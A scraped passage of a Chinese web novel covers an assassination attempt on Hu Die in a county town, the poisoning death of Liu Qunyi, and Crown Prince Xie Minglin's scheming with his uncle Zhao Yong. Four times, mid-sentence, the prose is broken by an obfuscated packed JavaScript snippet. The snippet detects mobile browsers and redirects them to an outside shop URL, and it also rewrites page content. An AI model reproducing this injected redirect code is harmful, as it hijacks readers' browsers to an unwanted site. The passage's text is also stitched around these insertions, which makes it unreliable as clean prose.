四周有些嘈杂,北街总是人来人往,烟火气十足。有人叫卖吆喝,有人手里不知何物敲得叮当响,有娃娃在啼哭,一旁的妇人兴许是正在讲价,还不忘教训嬉笑乱跑的顽童。即便这般喧闹,流水也不忘潺潺。 光明长照的晴空之下,热闹总是温暖又平稳地充斥着北街。 一只青鸟掠过天际,消失在那棵高大的梧桐背后。那葱茏苍翠的枝头,直指屋檐鳞次栉比的瓦片。那瓦片忽然掀动了一下,平静无风的日头下,梧桐树“沙沙”晃动起来。 金黄色的阳光像一面光滑的镜子般洒下,却在那灰瓦与梧桐葱茏之间,一点零星的银光浮动。 “小心!” 胡碟还在与阳光作对,想抬眼看清那几多远,就见春信从腰间抽出银蛇般的软剑,剑身柔软灵活直钻到她身后,“噔”的一声,有什么金属碰撞的脆响。 “快跑!” 胡碟奋力地向前跑着,不知自己跑了多远,人群的喧闹声被甩在身后,忽然前方几个蒙面的黑衣人闪现,步步逼近。 后背撞上一堵肉墙,春信喘着粗气的声音响起:“人太多了,你挨紧我,找机会再跑!” 春信眼睛尖,那飞镖还未近胡碟身的时候便被她注意到了,她反应灵敏打掉了飞镖,却没想这只是个开始。胡碟在前头跑,她在后头阻拦黑衣人,可这伙人人数不少,她料想前方还有危险,急忙追上来,果真见黑衣人兵分两路,层层包围。 “这里离县衙已经很近了,所以附近才没那么热闹。若是能有个人这时抛去官府报官,这件事也就好办了。”胡碟冷眼望着眼前蓄势待发的黑衣人,沉声对春信道。 春信盯着眼前黑衣人的动作,一刻也不敢分神:“拖时间,赌一把。” 胡碟将面前的人观察一番,对方全身黑衣,蒙面带刀,训练有素,她冷哼一声:“你们是什么人?是要抓我,还是要杀我?” “当然是要你死!”为首的黑衣人握着明晃晃的大刀,“你为谢明乾卖命,就该知道自己的下场!” “闭嘴!”另一个黑衣人急忙拉住他,“你在废什么话?说多错多!” “怕什么,这两个人一个是文弱书生,一个是小娘子,难道还逃得出去?” “行了行了,抓紧时间完成任务!” 胡碟从这只言片语中找到了一丝信息,这伙人并非职业杀手,而是某人养的卫队,被派来杀人而已,而且对方对谢明乾和她,都知根知底,绝不会是一般人。 “受死吧!” 周围的黑衣人听了号令,一窝蜂地围了上来,使出各种手段。胡碟虽然不会武功,但这么多年和云江一道长大,多少还是知道些武功路数,再说云江也教过她该如何在被袭时自保,故而她勉强能避开几个人的刀剑。只是时间一长,反应就变慢起来。 “弯腰!” 春信急切的声音响起,胡碟后知后觉地弯下腰,一道剑光从她背上划过,险些就能将她拦腰刺伤,春信一脚腾空踢在那肩上,搂起胡碟往旁边一退,堪堪躲过一招。 “你没事吧。” “我没事,他们是冲我的命来的,不杀了我恐怕不会罢休,你带着我,战力下降,这样下去不是办法。” 软剑在春信手上势如破竹,所到之处必定叫对方出个大血口子,她抬手劈开两个黑衣人,后以胡碟为支点,腾空跃起,头与脚蹦成一条直线,软剑如白练在前,挡开攻向胡碟的人。双脚向后,踢开偷袭她们的几个黑衣人。 “不是办法也只能这样,”春信挥剑,几滴血如同溅开的水花,在她脸上铺陈开来,将她凝重坚毅的脸染上肃杀,不复从前那般柔和,“如果没有救兵,就只能这样,总不能等死!” 说话的间隙,又有几个人偷袭上来,春信手脚并用,攀着胡碟的肩头跃起,又打伤了几个人。 比武场上,胡碟从来不是参战的人,却是个热爱观战的裁判。 她能看出来,春信的武艺绝非等闲之辈,身姿矫健如燕,动作轻快敏捷,眼观六路耳听八方,能同时向多方出招,既能防御也能进攻。她的习惯与守一并不相似,或许是净巍宗长大的孩子,一招一式之间都极有章法,或许便是净巍剑法。她似一条青蛇,在动静攻势之间游刃有余,柔中带刚,寸寸流血。 当然,许是在这样熟稔的套路之下,春信的攻击性显然不及守一,或者说,春信有些缺乏攻击性。论武功招式,她明明可以力压这里的所有人,对方人多势众,可单论起来,春信的武功绝不输任何一个人。 论迅猛敏捷,春信几乎可以预判任何一刻的偷袭,及时反击,强攻之下也能找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127977|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出破绽,化险为夷,这才让她们在围攻之间坚持了这么久。 在这样的实力之下,纵使对方人再多,春信也不至于只能保持防守,毫无进展。 胡碟不禁纳闷,难道是她拖累了她? 电光火石之间,春信一跃而起,如鱼龙飞跃,给前面几人再添新伤。但也是在这时,胡碟眼睁睁看着春信本可以直取对方首级,却在靠近的那刻收了力气,只擦除一道血痕。 那黑衣人摸着脖子上的伤口,眼中俱是震惊。这女人实力竟如此强悍,被这么多人围攻,居然还不杀他,想砍着他戏耍不成? “停!”不知是谁喊了一声,黑衣人停手,双方形成了短暂的僵局。 胡碟目瞪口呆地拉住春信:“打了那么久都没能逃出去,不是因为对方人多,而是因为他们遇见了个普度众生的菩萨!你打了那么久,连一个人都没杀死?!” 春信听见胡碟惊得有些漂浮的嗓音,面色变了又变,眼中晦暗,压低声音道:“是我技不如人。” 方才被春信剑下留头的黑衣人见二人交头接耳,大有一副闲庭信步之姿,有些火大:“这个臭娘们儿瞧不起我们,兄弟们,拿出你们的看家本事,把这条母狗给我宰了!” 春信咬牙捏紧了手中软剑,额上青筋暴起。胡碟听那人的话听得气血上涌,抓住春信用失了冷静的声音低声喊道:“这死了爹的竖子如此骂你,你还不取他项上人头?” 春信面色紧绷,做出攻击姿势,却仍然没有动手。 “给我上!” 黑衣人重振旗鼓,大喊着上前要殊死一搏,春信也先一步做好了准备,将击退对方的策略谋划在心。 胡碟这下看明白了,春信招招能伤对方,却剑剑避开要害,不知道的,还以为她是打着玩呢! “春信,这是生死之际啊!” 胡碟试图喊醒春信心里的斗志,可春信却愈发躲闪起来,甚至有些力不从心。 那被剑下留头的黑衣人好似也发现了这一点,使出浑身解数向春信进攻,而春信也不负众望,再一次软剑轻飘飘地划过那人脆弱的脖颈。那黑衣人捂着脖子,好似有人在他脆弱的地方再三进攻,却只是游走试探,心里又痒又恼怒。 “贱女人,我杀了你!” 胡碟见大事不妙,一把扯过春信:“再不杀他死的就是你我!” 春信额上缓缓滴下一滴汗,咽喉滚动,再次迟疑。 眼见那人的刀剑逼近,春信却只是抬脚解决了身后一个不痛不痒的小贼,让胡碟看得着急又上火,清冷的脸上闪过一丝愠色。春信挡在她身前,这一剑下来,她不会死,春信却不一定。 此刻,胡碟恨不得自己能提得动百八十把剑,将那出言不逊的崽子刺成窟窿,只可惜她一把也提不起! 说时迟那时快,一道暗金色的刀光在那黑衣人头上闪过,胡碟还没来得及反应,那人的人头便似落石滚落,咕噜噜飞出去老远,鲜红飞溅,挡在胡碟身前的春信身上沾染了大半。 “春信不行,让我来!” 87. 第八十七章 那被取了首级的黑衣人身躯应声倒下,守一手持利刃敏捷落地,一把抓过春信:“别犹豫了!” 春信抹了一把脸上的血液,这才回过神来,随守一加入打斗中。 守一由外向内打出了个缺口,她身后,刘群意带着几个穿着官府衣服的卫士跟了上来,她指着这边道:“就是那儿!快帮忙!” 守一动作迅猛狠辣,如猎豹一般不让分毫,招招致命,再加上几个卫士的帮忙,黑衣人很快便消亡了大半。 胡碟被守一拎起来送到刘群意身边,叫她二人快些回去,便转身投入了打斗。胡碟当机立断,拉着刘群意便往前走。 却不料黑衣人见自己落入下风,也都准备撤离,撤离之际,也不忘再取胡碟性命。 “小心!” 又是一枚飞旋的银镖。 守一踹飞一个黑衣人,飞速向胡碟奔来,然后她陷得太深,被紧跟着的黑衣人拦住了去路。 好在春信离得近,三两步便至胡碟身旁,拉开了大惊失色的胡碟。 胡碟回头,方才以为躲闪不及,刘大娘冲到她身前挡住了飞镖,而春信在那一霎那的目标只是拉走快被飞镖击中的胡碟,全然没顾得上还有一人站在飞镖的路径之上,极其危险! 可是已经来不及了,春信拉开了胡碟,刘大娘却并不知春信能在电光火石之间快过飞镖,救下胡碟,她挡在了胡碟身前,于是一人拉、一人挡,胡碟得了救,刘大娘却中了招! 守一手起刀落,快刀斩乱麻似的又了结了几个黑衣人。黑衣人实在撑不住,其中一人大喊道:“带上兄弟们的尸首,撤退!” 在场的人没空去追,任由黑衣人逃跑,只在慌乱之中落下了被守一斩落的那颗头颅。 “快叫大夫!” 卫士应声离去找大夫,躺在胡碟怀里的刘大娘却吐出了一口黑血。 春信连忙上手检查:“遭了,那暗器上有毒!” “没关系的,刘大娘,”胡碟强行镇定下来,握着刘群意的手,“就算是有毒,也一定能治的!” 实则她知道那伙黑衣人武艺极高,是冲着取她性命来的,这暗器上淬的毒,很有可能凶狠至极。 刘群意奋力地抬起眼皮,拉住胡碟的袖子,嘴里边说边吐着血:“大人……” “刘大娘您别说话了,您想说什么,等您伤愈之后慢慢告诉我好么?”胡碟心上慌乱不已,她本能地不想让刘大娘说下去,否则这话说的跟临终遗言似的,叫她不安心。 刘群意摇了摇头:“我等不到了,我等不到了……” 她眼望着空中某个地方,喃喃道:“我女儿来接我了……” “不……”胡碟话还未说完,刘大娘便打断了她,“大人,我知道你是好人,你要为我女儿报仇啊,你不要走,你不要走啊……” 刘群意眼角滚落滴滴热泪:“我的女儿从小就懂事,她珠算很好的,见到的数字都能记在心里,尤其擅长看账目,她不应该是这个下场啊,我还绣了帕子,等她回来呢。” 刘群意呛咳了几声,又呕出一口血来,春信手忙脚乱地拿衣服帮刘大娘接着吐出来的血,泪水在她满是鲜血的脸上冲刷出白痕:“对不起,是我不好,都是我不好……” 守一捏紧了她的手:“这不怪你。” 刘大娘从胸口拉出一条湛蓝的帕子,将胡碟袖口的褶皱捏得绷紧:“大人,大人,这是我女儿最喜欢的颜色,可是她再也见不着了。我丈夫枉为人父,我女儿所嫁非人客死他乡,我无能,我早已不想活下去了。只求大人能留下来,为我女儿伸冤。尘埃落定之后,请将我和我女儿葬在一起,和我夫家再无任何瓜葛。” 胡碟眼含苦色:“刘大娘,你何苦呢,这案子已有了人证物证,你要相信知县大人一定会还你一个公道的呀。” “不,不,”刘大娘一个劲地摇头,“我不相信了,我信不动了,他们只会骗人。大人,我女儿不是命苦,不是命贱,”刘大娘用尽力气大喊道,“我女儿不是牲口!” 她这一下用力过猛,孱弱的身体不堪重负,说完她便吐出好大一口血,断了气。 胡碟死水般的目光望着刘群意再无波动的脸,沉声对一旁赶回来的大夫和卫士道:“用不着了,送大夫回去,留几个人将刘大娘的尸首抬回县衙,去请仵作来验过尸,与许梅香葬到一处吧。” “对了,”胡碟叫住正欲离开的那个卫士,“陈祥眼下应当就在县衙,但他不方便,你去陈家,告诉他们,叫小的那个来,他们会明白的。” 卫士从胡碟手里接过了刘群意的尸身,胡碟望着空荡荡的臂弯,毫无生气地缓声道:“怎么这么大的太阳,却觉得萧索如暮秋呢……” 守一将胡碟从地上拉起来:“走,回县衙。” “不。”胡碟呆呆地摇了摇头,“暂且不去了,我回去一趟。” 守一愣了愣,好似有些不太明白,随即道:“那好吧,我送你。” 才刚经历过刺杀,纵使心中一团糟,胡碟也没推辞,点了点头。 守一将哭得找不着北的春信往肩上一扛,对卫士们交代了几句,便跟上了胡碟离去的步伐。 胡碟回过神来时,是她坐在桌前,守一给她倒了杯水,见她魂不守舍地,自己也烦闷,便带着春信去溪边清理去了。 胡碟握住瓷杯,感受着那光滑上传来的温热,稍稍回神。 今日前来刺杀的人,不用想也知道是赵家的人。 一是她清楚,赵家并不会轻易放过她,虽然她之前已设了些障碍,不过那只是缓兵之计,赵家终究会再次找上她,算算日子,也该是时候了。 只是可惜她没能在赵家找上来之前抓住对方的把柄,如今算是失了先机。只怕这场对抗中,她要重新做打算了。 二是今日春信告诉她,当年追杀刘庆的人乃是晋王赵雍的金梅小队,如此说来,净巍宗一案必定有赵家的手笔了。只是在这其中赵家扮演了什么样的角色?能不能从净巍宗的案子入手,再加上金簪的线索,钓出一只大鱼? 眼下线索太少,还不能下定论。但可以确定的是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139398|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢明乾已经查到了赵家,赵家也就必定知道了谢明乾的行踪,顺着摸过来发现她与谢明乾一起行动,从而派人对她斩草除根,也是大有可能的。 赵家…… 胡碟握紧了拳头,自语道:“我受够了!” 赵家今日杀她不成,却误伤了刘大娘。刘大娘以死想留下她,望她为女儿伸冤。两条命压在许梅香的案子上,她理应顺理成章地留下来,可她反而不想继续呆在这里。 留下来不是办法。 她深知,许梅香的案子并非处置了冯贵就能了结的。赵家穷追不舍,也不是她偏安一隅就能与之对抗的。 她厌倦了躲躲藏藏的日子,或许要彻底解决这一切,她就要光明正大的回去才行。 只是…… 许梅香的事,与那些年南都妇人们的案子也不无什么不同。她直接去解救不行,旁敲侧击也不行,晓之以理不行,动之以情还是不行。 那么多人她都没有救下来,难道如今许梅香的事就能解决了么?结果无非是一样的,她早便能预见了。想起来她心中还是痛。 胡碟抬起头,想找支笔写点东西,却在笔筒下发现了上巳节那日抄的真武大帝宝诰。 坚持信念,恪守本心。 她转头望向那西墙之上,紫虚元君的慈容在上头熠熠生辉。 那时她因为宁康坊妇人的诬告而失望透顶,认为自己注定失败,又在赵家的追击之下,毅然决然地离开了南都。 太难了,太苦了。可是魏华存不能随心修道的那些年,在深宅大院不得不成为别人妻子的那些年,是否也如此困难,才能换来轻描淡写“神授道经”“广发善心”的结局,这中间的轻描淡写,又有多少酸涩的不得已? 她将那一沓竹纸捏在手里,内心的想法越发强烈。 那日谢明乾站在这里对她说,他是如何认出她的,她心中总有些想法抓不住,今日她劝自己回去,劝自己忘掉那些失败,忽然找到了借口。 因为她一直以来满心满眼都是女人的事,所以忘记了那些女人也是人。 一个人先是人,再是女人。是人就有七情六欲,有自私为己的一面,有爱恨情仇,有身不由己。人性本如此,也许她们每个人都有许梅香一样的苦衷呢?也许她本就不该理所应当地认为她们该接受任何帮助,也许在人性的复杂面前,她可以原谅那些女人呢? 她不该因为那些拒绝和诽谤而觉得拯救天下女子的想法再难实现,而是该反思自己是否用错了方式。 什么方式呢?她也还不知道。 但只有回去南都,才有可能真正解决这一切。 “好。”胡碟紧紧捏住那一沓抄了宝诰的纸,指尖泛白,“他要灭我我灭他,我命在我不在他!” “就算尘世化作乱麻将我困住,就算自我的怀疑也已成为荆棘拦路,我也始终坚定地朝着目标去。” “我要拿回属于我的名字,我不要再东躲西藏!” “南都,走着瞧!” “那便回去,再闯南都!” 88. 第八十八章 卷二·鹏之徙于南冥也 黄昏影斜,暮色苍茫。 南都。 “顾紫陈要的东西,去办了么?” 谢明麟写罢一个“困”字,放下手中的笔,对一旁研磨的小丫鬟道:“先下去吧。” 旁源立于书桌前,俯身恭敬道:“殿下的吩咐,我都已照办了。” “那便好,告诉她,孤要的东西也得尽快。”谢明麟垂眼盯着手中的茶,邪性的眉眼冷漠如霜。 “属下明白。” “对了,那云逸杰的事查得如何了?” “属下正要向您汇报呢。”旁源缓缓抬起头,晦暗的眼底满是狠厉,“殿下,此人不简单,恐怕……” 谢明麟端着茶杯的手顿了顿,看不出什么情绪:“如何不简单?” “殿下,此人自南都离开后,便奉旨去杀猪,只是他却是去往禹城,这便有些不对。他果然不出我们所料,本性难移,才到禹城待了不到小半个月,就卷进了谢明乾查的案子里。” 谢明麟笑了一下,慢悠悠道:“说起来,我那糟心的大哥,如今应当已经在回来的路上了吧?他回来,也不回家一趟,还要我这个做弟弟的让父皇去请,真是不像话。”他挥了挥手,“接着讲你的。” “是。”旁源恭敬地点了点头,“他在禹城不叫云逸杰,而是叫做胡碟,并没有人知道他的身份,想来是故意伪装,好躲避耳目。他先是被怀疑作碎尸案的凶手,为自己洗脱嫌疑后便随着谢明乾一起查案,听说禹城最近审了一个买卖人口。就与他有关,掀起轩然大波。” “买卖人口?”谢明麟语气之中多了几分凌厉。 “没错,是一家人将儿媳妇卖了,导致这儿媳妇被砍死的案子。” 谢明麟闻言稍稍松了口气:“这样的事很常见,应该对我们造不成威胁。只是他们在查买卖人口的事,便不能不多几分警惕,我们一定要快些从顾紫陈那儿拿到想要的东西。” “属下遵命。” 谢明麟抬起手在眉间轻揉了几下:“你说这云逸杰,到底有多大本事?卖媳妇的案子会不会给他一点点的启发,他会不会发现那一丝一毫的蛛丝马迹呢……” “不管他怎么聪明,我们都已占了先机,殿下的计划不会被影响。至于云逸杰,我已交代给手下的人,只要查出他是谢明乾的人,便立即刺杀,只是尚未得手,他身边有两个武艺高强的……” “蠢货!”谢明麟砸了杯盏,碎裂的瓷片飞到旁源额角,划出一道血痕,登时血流不止,旁源连忙捂着流血的额头跪倒在地。 “殿下,皇帝只有两个儿子,如今您已经贵为太子,可陛下却态度暧昧,时常打压您,去年大旱时甚至险些听信谗言废了您。可是对谢明乾却再三忍让,甚至在净巍宗一案时保下他。如今谢明乾若再多了个这样的军师,后果不堪设想,属下也是为了您好,此人不得不杀呀!” 谢明麟闭着眼,咬紧了牙:“你知不知道,这样一来,必定暴露!” 他想了想,旁源说的话却也不无道理,叹气道:“起来吧,你也是关心则乱。你该想想,老头喜欢他又如何?他左不过是个历经多年的皇子,还是老头最恨的净巍宗的弟子。他如今是个武将,既无显赫的母族,也无南都的势力,朝中大臣都不看好他。他能有什么胜算?云逸杰若是个聪明人,就会知道选他是个错误的决定。” “而我呢?我的舅舅是权倾朝野的异姓王,连老头也怕他三分,我是嫡子,又在朝中多年,背靠大树好乘凉。”谢明乾勾起一抹诡异的笑容,“只是我这舅舅野心不小,我也不能放心地依靠他。所以啊,你这个蠢货,我现在最需要对付的不是那个不成器的大哥,而是我舅舅。我得把他的权势捏在手里,满朝文武都是他的人,我只要拿下他,满朝文武便都是我的人,你明白了么?” “老头之所以时不时打压我,就是觉得我与舅舅是一条船上的人,他恨我舅舅,自然也就恨我。可是他离不开我们赵家,杀不了我们也舍不了我们,就只能骂我几句出出气。对我也是一样,他需要我来做太子,他不可能选择谢明乾,因为谢明乾没有依仗,到最后只会被架空。他的儿子,只有我最合适……” 旁源睁大了眼睛,有些不可思议地抬眸,眼中闪着精光:“原来如此,属下明白了!” “有一点你说得对,云逸杰太聪明了,不能留。只是我们不用亲自动手,还能再卖个人情,何乐而不为?”谢明麟笑得颇有深意。 “殿下您是说……” “听说我那舅舅一直在找云逸杰?孤怎么能不去一趟呢。叫我们的人回来吧,这件事,无需我们动手。” - “混账东西,这都一个多月了,云逸杰难不成能长翅膀飞了?一定是你们没好好找!” “世子赎罪,属下真的已将城内翻了个遍,实在是连人影都没找着啊!”被踹飞的侍卫捂着脸道。 “不是说那县令是我们的人么,连他都没有云逸杰的一点消息么?” “回世子爷的话,那县令确实是咱们的人,也一直尽心尽力跟着找呢,是真没找到人啊。” “不是说他有可能隐姓埋名了么,这也查了?” 侍卫擦了擦额上的汗,忙不迭道:“查了查了,我们拿着画像,假借抓小偷之名全城搜捕,没找到和他相像的人。” “哼,”赵于芳甩袖道,“难不成他易容了?男扮女装了?” “这……” “行了。”坐在德泽斋上首的赵雍悠哉喝着茶,不紧不慢出声道,“切莫如此焦急,急心坏事。” “是,父亲。”赵于芳恭敬道。 “芳儿,那日宣读圣旨,你可当真是亲耳听见?” “儿子确实是亲耳听见。那日我本想按父亲吩咐去劝降云逸杰,走近大牢便得知宫里来人了,我便躲到一旁去听,我是亲耳听见那圣旨上说,云逸杰藐视皇恩,逐出京城,到豫城去做个屠户。儿子绝不会听错的!” 赵雍眼底暗了暗:“会是哪里出了问题呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152476|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “晋王殿下,太子到访。”外间有人传话。 赵雍搁下茶盏:“快请。”而后对一旁的侍卫道:“你先下去吧。” “来人,给太子奉茶。” “多谢舅舅。”谢明麟带着几分不羁的笑,闲庭信步跨过门槛,边走边抱拳向赵雍问好。 “明麟啊,你许久未到舅舅府上了吧,你我舅甥二人今日要痛饮几杯,联络联络感情嘛。”赵雍朗声大笑起来。“来,快坐下。” “好说,好说,舅舅相邀,明麟却之不恭。不过喝酒之前,明麟还有件要事想与舅舅相商。” 赵雍笑道:“你进门我便猜到了,近日来也听到了些风声,只是忙于即将到来的祭祀,所以未曾过多关注。”他压低了声音,“可是为了幽王谢明乾的事啊?” 谢明麟微微点头:“果然什么都瞒不过舅舅的眼睛,我此次前来,确实是为了我皇兄今日将回南都之事。” 赵雍抿了一口茶,半晌没说话。 谢家的后代,他一个都不喜欢,哪怕是他妹妹的这个儿子也是一样!从小父亲便教育他,在谢家人面前无需客气,这天下能姓谢,也就能姓赵,不必在姓谢的面前做小伏低。他一直以来的夙愿,便是有朝一日,这天下改名换姓,迎回它真正的主人——赵家。 赵雍眼底闪过一丝阴鸷,放下茶杯,“呸”了口茶渣,平静得像在点菜一般:“这茶怎么有渣,谁沏的?拖下去处理了。” 他转头看向谢明麟,笑得虚伪:“今日怠慢了,太子莫见怪。” 外人都说赵家是太子的母族,而他是太子的靠山。他赵家是棵大树没错,不过他早已受够了给谢家遮阴。谢明麟想借用他的力量,还要掂量掂量自己有没有那个本事。 谢明麟浅笑了一下,笑得极为真诚。他早知道这个舅舅不会甘心只做个异姓王,也从未真心想辅佐他,他如今只是借着这事试探一下,没想到赵雍平日里装得慈善,这么快就急不可耐地露出真面目了。 他轻轻晃了晃手中的茶杯,眼底一片暗色。舅舅啊舅舅,那你就别怪我了。 “舅舅哪里的话,明麟怎么会见怪呢?今日提起我那皇兄,是为了舅舅的事啊。” “哦?”赵雍饶有兴致地瞧他一眼,想听听他能编出什么花儿来。 “舅舅可知,皇兄擅自离开边疆一事,是我安在他身边的人来报,我又转达给父皇的?”谢明乾此人虽是山野里长大的,可却心思缜密,身边只带着亲信,故而谢明麟从来没机会在他身边安插什么探子,今日这般说辞,不过是不想让赵雍知道他有心去过禹城罢了。 “这我倒不曾知晓。”赵雍摇头,心里想的却是,自然一切都逃不过他的眼。 “我听手下的人来报之后,便派了旁源亲自去查探。舅舅想必也知道,谢明乾出现在禹城,只能是为了当年的事……” 赵雍冷笑一声:“他不可能查得出什么。” “我原先也是这么想,只是旁源说,在那儿好像看到了那位神探……” 89. 第八十九章 “什么神探?你说的不会是云逸杰吧?”赵于芳猛地从椅子上站起来。 赵雍及时瞪了他一眼,示意他闭嘴。赵于芳泄了气,闷闷不乐地坐了回去。 谢明麟不紧不慢道:“表哥猜得不错,确实是云逸杰那小子。” 赵雍面不改色地思量了片刻,才犹豫着开口道:“明麟你确定……手下的人没看错?” “舅舅这是在怀疑我手下的人办事能力?” 赵雍面色凝重起来,又装出个轻松的笑容:“自然不是。” 话是这么说,可他握着茶杯的手却是用力得泛白。谢明麟见目的达到了,也不想在这里多待,免得赵雍看他不顺眼。 “该带到的已经带到了,那么孤就先走了,咱们舅甥改日再聚。” 赵雍往外走出几步将人送出去:“那舅舅就不留你了,咱们改日再叙。” 赵于芳望着谢明麟远去的背影,捏紧了拳头:“这个谢明麟特意来告诉我们这件事,安的什么心呢?” 赵雍收回目光,意味深长道:“芳儿,你终于机灵了一回。” 赵于芳乐呵呵地跟着父亲往里走,他这次倒不是学机灵了看出些什么,他这么说,仅仅是因为他没找到的人被谢明麟找到了,怕赵雍骂他才这么说的。 赵雍坐回去,目光深沉道:“这谢明麟来告诉我们这件事,一是想借我们的手除掉谢明乾的助力,二是想告诉我们,我们的情况他都了解,他这是示威来了。” 赵于芳给老爹奉上茶水:“我看他就是不满意上次您没支持他做今年红鸾塔祭祀的先行官,所以才故意上门来给您找不痛快。他想利用咱们,咱们偏不上当。” 赵雍却摇头,面色深沉:“我的事,轮不到他说了算,此事算不上是他故意做的,毕竟他也没有那个本事。事情早已发生,他也就只能给我传个话,挫挫你老爹的威风罢了。他说与不说,这件事都是要处理的,否则我们就只有死路一条。” 赵于芳绕到赵雍身后给他捏肩膀,全然不在意地说道:“有那么严重么……” 赵雍冷笑一声,语言中的恼怒明显膨胀起来:“这不仅仅是云逸杰帮谢明乾查案的事。当年净巍宗的案子,他们掀不起什么风浪来,就算有云逸杰在,也很难翻案。重要的是云逸杰在禹城,而我们却一直不知。” “是啊老爹,这就有些奇怪了,我明明听见那太监念的是豫城啊,我们安插在监狱的人手也说听见是豫城,难道是我们记错了?” “不,不是你记错了,这就是问题所在。一定是那个太监帮忙,有预谋地欺骗了你们,才让我们一直在豫城打转。那时来报的侍卫不是说,云逸杰进了城之后便消失不见了么?现在想来,他那时进了豫城,便乔装打扮,随即出城继续往禹城去了。” “这样便说得通了。”赵于芳道,“追他的人得了可靠消息说他会去往豫城,便都以为是自己跟丢了,云逸杰不可能抗旨离开豫城,可现在看来,圣旨上写的恐怕就是禹城,是那太监故意念成豫城骗了我们!等我们的人在城里打转的时候,云逸杰早就溜之大吉了!可他确实聪明,这也没那么严重吧,我派人杀了他便是,也还来得及啊。” “不,”赵雍抬起手,“傻儿子,他去的是禹城!那里有我们多少的秘密……更何况,”他难掩语气中的激动,“他是在大太监吉祥的掩护下出去的,这说明什么?这说明皇帝当初根本不是发怒将他赶出去,而是故意保下他!他是皇帝的人,是替皇帝去查咱们的!” 赵雍瞪着猩红的眼:“这些年皇帝一直修身养性,对朝政随遇而安,原来是藏拙,终于露出狐狸尾巴,要对我们赵家动手了。看了,我们的斗争就要开始了啊……” 赵于芳也知道了这事的严重性,可是他却没什么担心的,毕竟有他老爹在,当年那么大的事不还是为他摆平了。 “那儿子该怎么做?” 赵雍沉吟片刻,缓缓吐出一口浊气:“我也几年未曾杀生了,可是这次是不得不动手了。你拿着我的腰牌,去西冷湖调派那支很久没用的金梅卫,再去江湖第一的天璇阁,请他们阁主出山,这次务必要将云逸杰铲除干净。” “是,儿子这就去办。” - 月上柳梢头,胡碟在月色之下写罢两封信,交给春信,让她连夜赶到东街馄饨铺去,将信交给那老板,他自会知道信该往何处去。 春信接过信时有一瞬的错愕,与守一对视了一眼,她感到一种前所未有的信任,也感到一种随交往越深而带来的复杂。 胡碟真的只是个屠户,又或者是个云游的隐士么? “快去吧。”守一推了她一把。 “哦,好。” 春信翻窗离去时的声响也未惊动胡碟,她也就更不知这二人眼神交换之间的疑惑。她在回想信上所写是否完备,该交代的关于醉红轩的事她都已交代了,对方虽不能代替她亲自去查,但对方能随着她那日查到一半的地方,从阿樱那里再探查到些消息。 信里她由衷答谢道:“当年举手之劳,你我相交数年。如今之事波谲云诡,疑窦丛生,多谢友人相帮,事多况杂,道声辛苦,再道多谢。” 其实胡碟也并不明了自己是否需要再查这些,毕竟净巍宗的案子已然与赵家脱不了干系,若要扳倒赵家,直接借净巍宗案子也未尝不可,如今事态大变,她不得不回去重做打算。 可半途而废也不是她的作风,于是此事也就只能这样,先查着,先盯着,有备无患。 “春信去送信了,守一,咱们去趟县衙。” “这么晚,有什么急事么?” 胡碟顿住脚步,微侧过脸,幽亮的月光在她脸上荡漾:“明日不就要带着陈祥去南都了么?我今夜不去把事情交代交代,咱们如何来得及启程?” 守一冰冷的脸上拂过一丝茫然,随后怔住:“你的意思是……” 胡碟拉住她的手,笑道:“快走了,去晚了徐友来都睡着了。” 玄鉴堂内,徐友来却还兢兢业业地坐着呢。 “哎哟,最近的事儿实在一大堆,我这脑子都快成浆糊了,这要是不熬更守夜地处理,恐怕我也就不用做这个知县了。”徐友来撑着脑袋,烦恼得胡子都快歪了。 “许梅香的案子还得审,这会儿刘大娘的事又来了,再加上汛期也不远了,这禹城主事的又只有知县一位,徐大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161434|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人实在是忙,您辛苦了。” 徐友来没好气地瞧她一眼:“托您的福。” “我夤夜前来,是想知会知县大人一声,我决定明日与护送陈仵作的队伍一起出发,特来商议一些后续的事。” 徐友来捋了捋胡子,有些不明白,狐疑地瞧着胡碟。 